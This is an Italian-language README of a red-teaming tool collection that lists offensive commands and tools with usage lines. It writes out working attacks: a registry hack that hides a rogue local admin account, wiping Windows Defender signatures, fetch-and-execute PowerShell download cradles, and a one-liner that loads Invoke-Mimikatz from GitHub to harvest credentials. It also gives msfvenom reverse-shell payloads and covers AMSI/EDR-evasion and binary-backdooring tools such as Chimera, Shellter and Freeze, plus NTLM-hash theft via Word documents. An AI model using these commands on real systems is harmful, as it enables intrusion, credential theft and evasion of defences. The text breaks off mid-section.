edu0x01/hack-toolsProgetto che riunisce diversi strumenti di pentest
Questo repository contiene una raccolta di oltre 200 strumenti e risorse che possono essere utili per attività di red teaming.
Alcuni strumenti possono essere specificamente progettati per il red teaming, mentre altri sono più generici e possono essere adattati per l'uso in un contesto di red teaming.
Avvertenza
I materiali in questo repository sono solo a scopo informativo ed educativo. Non sono destinati all'uso in attività illegali.
Nota
Nascondi le intestazioni dell'elenco degli strumenti con la freccia.
Fai clic su 🔙 per tornare all'elenco.
git submodule update --init --recursive
### Aggiungi nuovo progetto```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Impara dai Red Teamer con una raccolta di Consigli Red Team. Questi consigli coprono una varietà di tattiche, strumenti e metodologie per migliorare le tue abilità di red teaming.
Nota: Quasi tutti i consigli provengono attualmente da @Alh4zr3d, pubblica buoni Consigli Red Team!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descrizione:** _'Creare account è rischioso quando si elude il blue team, ma quando si crea un amministratore locale, usa un po' di magia nel registro per nasconderlo.'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Rendere inoffensivo Windows Defender eliminando le firme```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Descrizione: 'Un po' disordinato, ma se Windows Defender ti sta causando un grande mal di testa, piuttosto che disabilitarlo (cosa che allerta l'utente), dovresti semplicemente neutralizzarlo cancellando tutte le firme.'
Credit: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descrizione:** _'A volte si desidera accedere a un host tramite RDP o simile, ma il proprio utente ha una sessione attiva. Abilita più sessioni per utente.'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Sysinternals PsExec.exe alternativa locale```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descrizione: 'Sei stanco di caricare Sysinternals PsExec.exe quando fai movimento laterale? Windows ha un'alternativa migliore preinstallata. Prova questa invece.'
Crediti: @GuhnooPlusLinux
Link: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descrizione:** _'Quando possibile, utilizza le risorse del sistema invece di caricare strumenti sulle macchine (per molte ragioni). PowerShell/.NET aiutano. Esempio: semplice scanner di porte in PowerShell.'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Collegamento:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Description: 'La maggior parte delle grandi organizzazioni utilizza proxy web oggigiorno. La culla di download standard di PowerShell non è compatibile con i proxy. Usa questa.'
Credit: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descrizione:** _'Rimarresti sorpreso da ciò che puoi scoprire solo dai segnalibri di un utente. Ad esempio, gli endpoint interni a cui può accedere.'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Interrogare i record DNS per enumerazione```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descrizione: 'L'enumerazione è il 95% del gioco. Tuttavia, lanciare tonnellate di scansioni per valutare l'ambiente è molto rumoroso. Perché non chiedere semplicemente al server DC/DNS tutti i record DNS?'
Crediti: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descrizione:** _'Trovare percorsi di servizi non quotati senza PowerUp'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Bypassare un prompt dei comandi disabilitato con /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descrizione: 'Questo prompt dei comandi è stato disabilitato dall'amministratore...' Di solito si vede in ambienti come chioschi PC, una rapida soluzione hacky è usare /k tramite la finestra di esecuzione di Windows. Questo eseguirà il comando e poi mostrerà il messaggio di restrizione, consentendo l'esecuzione dei comandi.
Crediti: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descrizione:** _'Sei stanco che Windows Defender cancelli mimikatz.exe? Prova questo invece.'_
**Crediti:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Link:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Controlla se sei in una macchina virtuale```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descrizione: 'Vuoi sapere se sei in una macchina virtuale? Interroga le chiavi del registro e scoprilo!!! Se vengono visualizzati risultati, allora sei in una macchina virtuale.'
Credito: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descrizione:** _'AppLocker può essere fastidioso. Enumera per vedere quanto sia fastidioso'_
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# Ricognizione
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Ho messo insieme un one-liner bash che:
- Raccoglie passivamente un elenco di sottodomini dalle associazioni dei certificati ([crt.sh](https://crt.sh/))
- Richiede attivamente ogni sottodominio per verificarne l'esistenza ([httprobe](https://github.com/tomnomnom/httprobe))
- Esegue attivamente uno screenshot di ogni sottodominio per una revisione manuale ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Utilizzo:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains
Un bookmarklet JavaScript per estrarre tutti i collegamenti degli endpoint di una pagina web.
Creato da @renniepak, questo frammento di codice JavaScript può essere utilizzato per estrarre tutti gli endpoint (che iniziano con /) dal DOM della pagina web corrente, incluse tutte le sorgenti di script esterni incorporati nella pagina web.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**Utilizzo (Bookmarklet)**
Crea un bookmarklet...
- `Fai clic destro sulla barra dei segnalibri`
- `Clicca su 'Aggiungi pagina'`
- `Incolla il JavaScript sopra nella casella 'url'`
- `Clicca su 'Salva'`
...successivamente visita la pagina vittima nel browser e clicca sul bookmarklet.
**Utilizzo (Console)**
Incolla il JavaScript sopra nella finestra della console `F12` e premi Invio.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Scanner di vulnerabilità veloce che utilizza template .yaml per cercare problemi specifici.
**Installazione:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Utilizzo:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Elenco curato dalla comunità di modelli per il motore nuclei per trovare vulnerabilità di sicurezza nelle applicazioni.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentazione</a> •
<a href="#-contributions">Contributi</a> •
<a href="#-discussion">Discussione</a> •
<a href="#-community">Comunità</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQ</a> •
<a href="https://discord.gg/projectdiscovery">Unisciti a DC</a>
</p>
---
I template sono il nucleo dello [scanner nuclei](https://github.com/projectdiscovery/nuclei) che alimenta il vero motore di scansione.
Questo repository memorizza e ospita vari template per lo scanner forniti dal nostro team, oltre a quelli contribuiti dalla comunità.
Speriamo che anche tu contribuisca inviando template tramite **pull request** o [issue su Github](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) per far crescere l'elenco.
## Panoramica di Nuclei Templates
Una panoramica del progetto nuclei template, incluse statistiche su tag unici, autore, directory, gravità e tipo di template. La tabella seguente contiene le prime dieci statistiche per ciascuna matrice; una versione estesa è [disponibile qui](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md), e anche in formato [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) per l'integrazione.
<table>
<tr>
<td>
## Statistiche Top 10 di Nuclei Templates
| TAG | CONTE | AUTORE | CONTE | DIRECTORY | CONTE | GRAVITÀ | CONTE | TIPO | CONTE |
| --------- | ----- | ------------ | ----- | -------------------- | ----- | -------- | ----- | ---- | ----- |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404 directory, 6542 file**.
</td>
</tr>
</table>
## 📖 Documentazione
Visita https://nuclei.projectdiscovery.io per la documentazione dettagliata per **creare** nuovi template o i tuoi template **personalizzati**.
Abbiamo anche aggiunto un set di template per aiutarti a capire come funzionano le cose.
## 💪 Contributi
Nuclei-templates è alimentato da importanti contributi della comunità.
I [contributi di template](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), le [richieste di funzionalità](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) e le [segnalazioni di bug](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) sono più che benvenuti.
## 💬 Discussione
Hai domande / dubbi / idee da discutere?
Sentiti libero di aprire una discussione sul forum [discussioni di Github](https://github.com/projectdiscovery/nuclei-templates/discussions).
## 👨💻 Comunità
Sei il benvenuto a unirti all'attiva [Comunità Discord](https://discord.gg/projectdiscovery) per discutere direttamente con i manutentori del progetto e condividere cose con altri su sicurezza e automazione.
Inoltre, puoi seguirci su [Twitter](https://twitter.com/pdnuclei) per essere aggiornato su tutte le novità su Nuclei.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Grazie ancora per il tuo contributo e per mantenere viva questa comunità. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff è un osservatore di parole chiave dei log di Certificate Transparency che ho scritto in Python. Utilizza la libreria certstream per monitorare i log di creazione dei certificati che contengono parole chiave, definite in un file.
Puoi avviarlo con diverse parole chiave relative al tuo dominio vittima; tutte le creazioni di certificati verranno registrate e potrebbero portare alla scoperta di domini di cui non eri a conoscenza.
**Installazione:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Utilizzo:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Bel tool per il brute forcing di percorsi di file/cartelle su un sito vittima.
**Installazione:**```bash
sudo apt install gobuster
Uso:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Uno strumento progettato per eseguire Forced Browsing, un attacco il cui obiettivo è enumerare e accedere a risorse non referenziate dall'applicazione web, ma comunque accessibili da un attaccante.
Feroxbuster utilizza la forza bruta combinata con una wordlist per cercare contenuti non collegati nelle directory di destinazione. Queste risorse possono memorizzare informazioni sensibili su applicazioni web e sistemi operativi, come codice sorgente, credenziali, indirizzi di rete interni, ecc.
**Installazione: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Installa: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Installazione: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Per istruzioni complete di installazione vedi qui.
Utilizzo:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Full usage examples can be found [qui](https://epi052.github.io/feroxbuster-docs/docs/examples/).
_Immagine usata da https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Uno strumento per trovare l'infrastruttura, i file e le app di un'azienda (target) sui principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Caratteristiche:
- Rilevamento cloud (API IPINFO e codice sorgente)
- Veloce (concorrente)
- Multi-piattaforma (Windows, Linux, Mac)
- Randomizzazione User-Agent
- Randomizzazione proxy (HTTP, Socks5)
**Installazione:**
Scarica l'ultima [versione](https://github.com/0xsha/CloudBrute/releases) per il tuo sistema e segui l'utilizzo.
**Utilizzo:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Immagine utilizzata da https://github.com/0xsha/CloudBrute
dnsrecon è uno strumento Python per enumerare i record DNS (MX, SOA, NS, A, AAAA, SPF e TXT) e può fornire una serie di nuovi host vittima associati su cui effettuare un pivot partendo dalla ricerca di un singolo dominio.
Installazione:```bash sudo apt install dnsrecon
**Utilizzo:**```bash
dnsrecon -d google.com
Shodan esplora l'infrastruttura pubblica e la visualizza in un formato ricercabile. Utilizzando un nome aziendale, un nome di dominio, un indirizzo IP è possibile scoprire sistemi potenzialmente vulnerabili relativi al tuo target tramite shodan.
Strumento per enumerare sottodomini, enumerare DNS, rilevare WAF, WHOIS, scansione delle porte, wayback machine, raccolta email.
Installazione:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Utilizzo:**```python
python3 AORT.py -d google.com
Un programma che verifica se un dominio può essere contraffatto. Il programma controlla i record SPF e DMARC per configurazioni deboli che consentono lo spoofing. Inoltre avviserà se il dominio ha una configurazione DMARC che invia email o richieste HTTP in caso di email SPF/DKIM non riuscite.
I domini sono contraffabili se viene soddisfatta una delle seguenti condizioni:
~all o -allp=none o è inesistenteInstallazione:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Utilizzo:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump è uno strumento per enumerare rapidamente i bucket AWS S3 alla ricerca di file interessanti. È simile a un bruteforcer di sottodomini, ma è realizzato specificamente per i bucket S3 e ha anche alcune funzionalità extra che consentono di cercare file con grep e di scaricare file interessanti.
Installazione:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Uso:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Ottimo strumento per trovare informazioni da GitHub tramite regex, con la possibilità di cercare utenti e/o progetti specifici su GitHub.
Installazione:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Utilizzo:**```
./githarvester.py
TruffleHog è uno strumento che scansiona i repository git e cerca stringhe e pattern ad alta entropia che potrebbero indicare la presenza di segreti, come password e chiavi API. Con TruffleHog, puoi trovare rapidamente e facilmente informazioni sensibili che potrebbero essere state accidentalmente committate e spinte in un repository.
Installazione (Binari): Link
Installazione (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Utilizzo:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap è uno strumento di scoperta e identificazione delle risorse. È in grado di identificare rapidamente protocolli e informazioni sulle impronte digitali come web/tcp/udp, localizzare i tipi di risorse ed è adatto per reti interne ed esterne.
Dismap dispone di una base completa di regole per le impronte digitali, che attualmente include impronte per protocolli tcp/udp/tls e oltre 4500 regole per impronte web, in grado di identificare favicon, body, header, ecc.
Installazione:
Dismap è un file binario per Linux, MacOS e Windows. Vai alla pagina Release per scaricare la versione corrispondente ed eseguire:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Utilizzo:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Immagine usata da https://github.com/zhzyker/dismap
Uno strumento per l'enumerazione di informazioni da sistemi Windows e Samba.
Può essere utilizzato per raccogliere una vasta gamma di informazioni, tra cui:
Installazione: (Apt)```bash sudo apt install enum4linux
**Installazione: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Uso:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Le informazioni complete sull'uso si trovano in questo [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
_Immagine usata da https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/_
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Scanner dns/rete/porte follemente veloce, creato da [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), scritto in rust.
Avrai bisogno di un file di sottodomini. _Ad es. [Wordlist di sottodomini di Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.
**Installazione:**
Scarica l'ultima release da [qui](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Utilizzo:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
_Immagine utilizzata da https://github.com/Esc4iCEscEsc/skanuvaty_
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor è uno strumento di Intelligence, il suo obiettivo è svolgere attività OSINT e altro, ma senza alcuna chiave API.
**Caratteristiche principali:**
- Ricerca di informazioni su indirizzi IP, ASN e organizzazioni.
- Wrapper per eseguire rustscan, masscan e nmap in modo più efficiente su IP/CIDR.
- Trovare domini più correlati al target applicando varie tecniche (certificato, whois, Google Analytics, ecc.).
- Ottieni un riepilogo sull'indirizzo IP (offerto da [@thebl4ckturtle](https://github.com/theblackturtle))
**Installazione:**```bash
go install github.com/j3ssie/metabigor@latest
Utilizzo:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
_Immagine usata da https://github.com/j3ssie/metabigor_
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob è uno strumento per aiutare a trovare file potenzialmente sensibili caricati su repository pubblici su Github.
Gitrob clonerà i repository appartenenti a un utente o un'organizzazione fino a una profondità configurabile e itererà attraverso la cronologia dei commit e segnalerà i file che corrispondono a firme per file potenzialmente sensibili.
I risultati saranno presentati attraverso un'interfaccia web per una facile navigazione e analisi.
**Nota:** _Gitrob avrà bisogno di un token di accesso Github per interagire con l'API di Github. [Crea un token di accesso personale](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) e salvalo in una variabile d'ambiente nel tuo .bashrc o file di configurazione simile della shell:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Installazione: (Go)```bash go get github.com/michenriksen/gitrob
**Installazione: (Binario)**
Una [versione precompilata](https://github.com/michenriksen/gitrob/releases) è disponibile per ogni rilascio.
**Utilizzo:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Immagine usata da https://www.uedbox.com/post/58828/
Gowitness è un'utility per screenshot di siti web scritta in Golang, che utilizza Chrome Headless per generare screenshot di interfacce web tramite riga di comando, con un pratico visualizzatore di report per elaborare i risultati. Sono supportati sia Linux che macOS, con il supporto per Windows che funziona per lo più.
Installazione: (Go)```bash go install github.com/sensepost/gowitness@latest
Le informazioni complete sull'installazione possono essere trovate [qui](https://github.com/sensepost/gowitness/wiki/Installation).
**Utilizzo:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Informazioni complete sull'utilizzo possono essere trovate qui.
Immagine usata da https://github.com/sensepost/gowitness
Chimera è uno script di offuscamento PowerShell progettato per aggirare AMSI e soluzioni antivirus. Elabora PS1 dannosi noti per attivare l'AV e utilizza sostituzione di stringhe e concatenazione di variabili per eludere le firme di rilevamento comuni.
Installazione:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Uso:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Msfvenom consente la creazione di payload per vari sistemi operativi in un'ampia gamma di formati. Supporta anche l'offuscamento dei payload per eludere gli antivirus.
Imposta Listener```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Comandi Msfvenom
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter è uno strumento di iniezione dinamica di shellcode, e il primo vero infettore PE dinamico mai creato.
Può essere utilizzato per iniettare shellcode in applicazioni Windows native (attualmente solo applicazioni a 32 bit).
Shellter sfrutta la struttura originale del file PE e non applica alcuna modifica come la modifica dei permessi di accesso alla memoria nelle sezioni (a meno che l'utente non lo voglia), l'aggiunta di una sezione extra con accesso RWE, e qualsiasi altra cosa che potrebbe apparire sospetta sotto una scansione antivirus.
Le informazioni complete del README si trovano qui.
Installazione: (Kali)```bash apt-get update apt-get install shellter
**Installazione: (Windows)**
Visita la [pagina di download](https://www.shellterproject.com/download/) e installa.
**Utilizzo:**
Scegli un binario legittimo da backdoorare ed esegui Shellter.
Alcuni buoni consigli possono essere trovati [qui](https://www.shellterproject.com/tipstricks/).
Molte demo di utilizzo della comunità possono essere trovate [qui](https://www.shellterproject.com/shellter-community-demos/).
_Immagine utilizzata da https://www.kali.org/tools/shellter/images/shellter.png_
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze è uno strumento di creazione di payload utilizzato per aggirare i controlli di sicurezza EDR e eseguire shellcode in modo furtivo.
Freeze utilizza molteplici tecniche non solo per rimuovere gli hook EDR in Userland, ma anche per eseguire shellcode in modo tale da aggirare altri controlli di monitoraggio degli endpoint.
**Installazione:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Uso:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
_Immagine usata da https://www.blackhatethicalhacking.com/tools/freeze/_
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Questo script creerà un documento di Microsoft Word con un'immagine remota, permettendo la cattura di hash NTLM da un endpoint vittima remoto.
Microsoft Word ha la capacità di includere immagini da posizioni remote, inclusa un'immagine remota ospitata su un server SMB controllato dall'attaccante. Questo ti dà l'opportunità di ascoltare e catturare gli hash NTLM che vengono inviati quando una vittima autenticata apre il documento Word e visualizza l'immagine.
**Installazione:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Utilizzo:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
_Immagine utilizzata da https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_
---
### [🔙](#tool-list)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)
Se vuoi saperne di più sulle tecniche utilizzate in questo framework, dai un'occhiata al blog di SourceZero e allo strumento originale.
**Descrizione:**
Freeze.rs è uno strumento di creazione di payload utilizzato per aggirare i controlli di sicurezza EDR per eseguire shellcode in modo furtivo. Freeze.rs utilizza molteplici tecniche non solo per rimuovere gli hook EDR in userland, ma anche per eseguire shellcode in modo tale da aggirare altri controlli di monitoraggio degli endpoint.
**Creazione di un processo sospeso:**
